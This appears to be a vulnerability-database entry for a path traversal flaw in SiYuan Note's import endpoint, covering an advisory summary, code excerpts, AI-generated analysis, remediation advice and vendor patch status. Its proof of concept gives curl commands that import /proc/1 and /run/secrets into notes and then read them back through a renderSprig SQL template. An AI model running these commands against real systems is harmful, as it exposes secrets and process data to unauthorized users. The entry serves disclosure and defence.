Docker
CVE-2026-32750
MEDIUM
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.
Details
File: kernel/api/import.go - function importStdMd
func importStdMd(c *gin.Context) {
notebook := arg["notebook"].(string)
localPath := arg["localPath"].(string) // no validation whatsoever
toPath := arg["toPath"].(string)
err := model.ImportFromLocalPath(notebook, localPath, toPath)
// ↑ calls filelock.Walk(localPath, ...) - reads entire directory tree
// and writes every file's content into workspace SQLite as note blocks
}model.ImportFromLocalPath (kernel/model/import.go:784):
func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
// ...
filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
// reads file content → converts to .sy note → stores in database
})
}Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.
Chained attack with Bug #1 (renderSprig): Admin imports sensitive files → content stored in blocks table → non-admin user queries via querySQL through renderSprig.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
# Step 1: Create a notebook to import into
NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
-H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")
# Step 2: Import /proc/1/ - stores cmdline, environ, maps as notes
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"
# Step 3: Import Docker secrets (if present)
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"
# Step 4: Any authenticated user (non-admin) queries the imported secrets
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.
Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges.
AnalysisAI
SiYuan Note contains an unrestricted path traversal vulnerability in the POST /api/import/importStdMd endpoint that allows authenticated administrators to recursively import arbitrary files from the host filesystem into the workspace database without any validation or blocklisting. Affected versions of SiYuan (pkg:go/github.com_siyuan-note_siyuan) allow admin users to permanently store sensitive files such as /proc/, /etc/, /run/secrets/, and other system directories as searchable note content, making them accessible to other workspace users including those with limited privileges. A proof-of-concept has been published demonstrating import of /proc/1/ and /run/secrets/, and when chained with separate SQL injection vulnerabilities in the renderSprig template function, non-admin users can retrieve imported secrets without additional privileges.
Technical ContextAI
The vulnerability exists in the Go-based SiYuan Note application (github.com/siyuan-note/siyuan) within the kernel/api/import.go file, specifically the importStdMd HTTP handler function. The affected code passes the user-supplied localPath parameter directly to model.ImportFromLocalPath without any path validation, sanitization, or blocklist enforcement. The ImportFromLocalPath function (kernel/model/import.go:784) internally uses filelock.Walk to recursively traverse the entire directory tree at the supplied path, reading file contents and converting them into .sy note format before permanently persisting them to the workspace SQLite database. Unlike the globalCopyFiles function which implements a blocklist of dangerous paths, importStdMd has zero restrictions. This represents a classic Path Traversal (CWE-22) vulnerability that bypasses intended access controls by allowing direct filesystem enumeration and data exfiltration through an administrative API endpoint.
RemediationAI
Immediately upgrade SiYuan Note to the patched version indicated in the official GitHub security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-rjhh-m223-9qqv. Until patching is possible, implement network-level access controls restricting the /api/import/importStdMd endpoint to trusted administrative networks only, preferably enforcing authentication via reverse proxy with certificate pinning and TLS 1.3. Consider implementing application-level access controls to restrict the importStdMd endpoint to a minimal set of trusted administrators or disable the endpoint entirely if not in active use. Review workspace database contents (blocks table) for any imported content from sensitive paths such as /proc/, /etc/, /run/secrets/, or /home/ directories and manually purge compromised data. Monitor access logs for suspicious importStdMd requests with unusual localPath values pointing to system directories.
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Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
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External POC / Exploit Code
Leaving vuln.today
GHSA-rjhh-m223-9qqv